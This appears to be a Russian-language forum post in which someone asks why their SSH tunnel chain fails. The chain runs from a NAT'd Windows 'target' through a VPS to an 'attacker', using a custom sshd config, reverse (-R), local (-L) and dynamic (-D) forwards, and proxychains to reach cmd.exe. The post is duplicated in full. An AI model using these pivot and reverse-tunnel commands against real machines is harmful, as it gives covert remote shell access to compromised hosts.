Объясните где туплю, с портами каша в голове
Имеем
1. Таргет за натом
2. ВПС
3. Атакер
Идем на ВПС, кладем в authorized_keys паб ключи от таргета и атакера (наверное не обязательно, если -o StrictHostKeyChecking=no), для авторизации по ключу (проверяем атакер-впс, таргет-впс все работает)
Идем на таргет под name:
1. Делаем config:
3. Запускаем ssh.exe -i id_rsa -N -R PORT1:127.0.0.1:PORT2 -o StrictHostKeyChecking=no root@VPS"
- Видим на VPS отстук по ssh (порт рандомный), в этом моменте я туплю. PORT1 получается как реверс порт для обращения к ссх таргета?!
4. Идем на атакера в proxychains добавляем socks5 127.0.0.1 PORT3 и запускаем башем:
ssh -N -i id_rsa -L 127.0.0.1:PORT2:127.0.0.1:PORT1 -o StrictHostKeyChecking=no root@VPS (Подключаемся к впс)
ssh.exe -N -i id_rsa -p PORT1 -D 127.0.0.1:PORT3 -o StrictHostKeyChecking=no name@127.0.0.1 "c:\windows\system32\cmd.exe" (подключаемся с впс на таргета и создаем локальный прокси для атакера)
На выходе:
channel 1: open failed: connect failed: Connection refused
kex_exchange_identification: read: Connection reset by peer
Connection reset by 127.0.0.1 port PORT2
Имеем
1. Таргет за натом
2. ВПС
3. Атакер
Идем на ВПС, кладем в authorized_keys паб ключи от таргета и атакера (наверное не обязательно, если -o StrictHostKeyChecking=no), для авторизации по ключу (проверяем атакер-впс, таргет-впс все работает)
Идем на таргет под name:
1. Делаем config:
2. Запускаем сервер sshd.exe -f configRSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile path/authorized_keys
Port PORT1
ListenAddress 127.0.0.1
HostKey path/id_rsa
Subsystem sftp Path\sftp-server.exe
PasswordAuthentication no
AllowTCPForwarding yes
PermitOpen any
3. Запускаем ssh.exe -i id_rsa -N -R PORT1:127.0.0.1:PORT2 -o StrictHostKeyChecking=no root@VPS"
- Видим на VPS отстук по ssh (порт рандомный), в этом моменте я туплю. PORT1 получается как реверс порт для обращения к ссх таргета?!
4. Идем на атакера в proxychains добавляем socks5 127.0.0.1 PORT3 и запускаем башем:
ssh -N -i id_rsa -L 127.0.0.1:PORT2:127.0.0.1:PORT1 -o StrictHostKeyChecking=no root@VPS (Подключаемся к впс)
ssh.exe -N -i id_rsa -p PORT1 -D 127.0.0.1:PORT3 -o StrictHostKeyChecking=no name@127.0.0.1 "c:\windows\system32\cmd.exe" (подключаемся с впс на таргета и создаем локальный прокси для атакера)
На выходе:
channel 1: open failed: connect failed: Connection refused
kex_exchange_identification: read: Connection reset by peer
Connection reset by 127.0.0.1 port PORT2